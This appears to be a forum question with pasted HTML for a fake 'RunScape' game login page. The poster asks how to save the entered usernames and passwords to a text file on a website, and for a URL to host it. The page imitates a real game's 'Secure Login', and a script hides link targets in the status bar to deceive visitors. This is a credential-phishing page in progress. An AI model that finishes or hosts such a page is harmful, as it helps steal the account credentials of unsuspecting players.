(NEEDS TO BE IN HTML)
How to make the info in the fields password and username save to a text file on a online website. I am having trouble finding a website like that so can you give me the URL and how to do it in HTML.
Here is an example code i made(i had to remove every online image URL and copy write meterial, so it looks wierd):

<!--CTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dt-->
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Cache-Control" content="no-cache" />
<meta content="TRUE" name="MSSmartTagsPreventParsing" />
<link media="all" href="" rel="stylesheet" />
<link media="all" href="" rel="stylesheet" />

<TITLE>
RunScape - the massive online adventure game by Javex Ltd
</TITLE>


<script>
function hidestatus(){
window.status=''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=hidestatus
document.onmouseout=hidestatus
</SCRIPT><style type="text/css">






.buttons { width: 600px; height: 60px; position: relative; margin: auto; }
.buttons a{ display: block; position: absolute; width: 260px; height: 40px; margin: 5px; background: #808080; font-weight: bold; color: white; text-align: center; border: 2px outset #909090;}
.buttons a:hover { background: #A0A0A0; border-color: #ffffff}
#button-left {left: 0px; top: 0px; padding-top:3px;}
#button-left span.lev1 {background-image: url();}
#button-right {right: 0px; top: 0px; padding-top:3px;}
#button-right span.lev1 { background-image: url();}
span.lev1 { display: block; cursor: pointer; cursor: hand; position: absolute; top: -10px; left: -10px; width: 286px; height: 60px;}
a:hover span.lev1 { background-position: 0 60px;}
</style>
<div id="body">
<div style="BACKGROUND: none transparent scroll repeat 0% 0%; TEXT-ALIGN: center">
<div class="titleframe e"><strong>Secure Login</strong><br />
<a href="">Main Menu</a> </div>
</div>
<img class="widescroll-top" style="MARGIN-TOP: -25px" height="50" alt="" width="765" src="" />
<div class="widescroll" style="TEXT-ALIGN: center">
<div class="widescroll-bgimg">
<div class="widescroll-content" style="PADDING-TOP: 0px"><span style="PADDING-RIGHT: 0px; DISPLAY: block; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; PADDING-TOP: 25px"><img title="Login to Access this Feature" style="DISPLAY: block; MARGIN: auto" alt="Login to Access this Feature" src="" /></span>
<div style="FONT-SIZE: 8pt; MARGIN: auto">* </div>
<div style="MARGIN: 4px auto auto; WIDTH: 414px; POSITION: relative; HEIGHT: 214px">
<table style="WIDTH: 414px; HEIGHT: 214px" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="400" colspan="3" height="7"><img style="LEFT: 0px; POSITION: absolute; TOP: 0px" alt="" src="" /> </td>
</tr>
<tr>
<td width="7" height="200"><img style="LEFT: 0px; POSITION: absolute; TOP: 7px" alt="" src=" /> </td>
<td width="400" height="200">
<div style="FILTER: alpha(opacity=50); LEFT: 7px; WIDTH: 400px; POSITION: absolute; TOP: 7px; HEIGHT: 200px; BACKGROUND-COLOR: #3e434d; -moz-opacity: 0.5; opacity: 0.5"></div>
<div style="Z-INDEX: 2; LEFT: 40px; POSITION: absolute; TOP: 70px">
<form action="?login" name="access_password" method="post" autocomplete="off">
<table style="FILTER: alpha(opacity=100); -moz-opacity: 1.0; opacity: 1.0">
<tbody>
<tr>
<td>RunScape username:</td>
<td><input maxlength="12" name="username" /></td>
</tr>
<tr>
<td>RunScape password:</td>
<td><input type="password" maxlength="20" name="password" /></td>
</tr>
<tr>
<td>*</td>
<td align="center"><input type="submit" value="Secure Login" /></td>
</tr>
</tbody>
</table>
<input type="hidden" name="dest" value="" />
</form>
</div>
</td>
<td style="LEFT: 407px; POSITION: absolute; TOP: 7px" width="7" height="200"><img alt="" src="" /> </td>
</tr>
<tr>
<td width="400" colspan="3" height="7"><img style="LEFT: 0px; POSITION: absolute; TOP: 207px" alt="" src="" /> </td>
</tr>
</tbody>
</table>
</div>
<div style="MARGIN: auto"><img id="dont" title="Only Enter Your Password On RunScape.com" style="MARGIN: auto; PADDING-TOP: 5px" alt="Only Enter Your Password On RunScape.com" src=" /> </div>
<script type="text/javascript">
var ua=navigator.userAgent.toLowerCase();

if (ua.indexOf('firefox')>-1 || ua.indexOf('macintosh')>-1) {
document.getElementById('dont').src="";
}

if (ua.indexOf('msie 7.0')>-1) {
document.getElementById('dont').src=;
}
</script><br />
<br />
<div class="buttons"><a class="button" id="button-left" href=""><span class="lev1"></span>Open a New Account!<br />
Click Here!</a> <a class="button" id="button-right" href=""><span class="lev1"></span>Lost Your Password?<br />
Click Here!</a> </div>
</div>
</div>
</div>
<img class="widescroll-bottom" height="50" alt="" width="765" src="" />
<div class="tandc">This website and its contents are copyright &iuml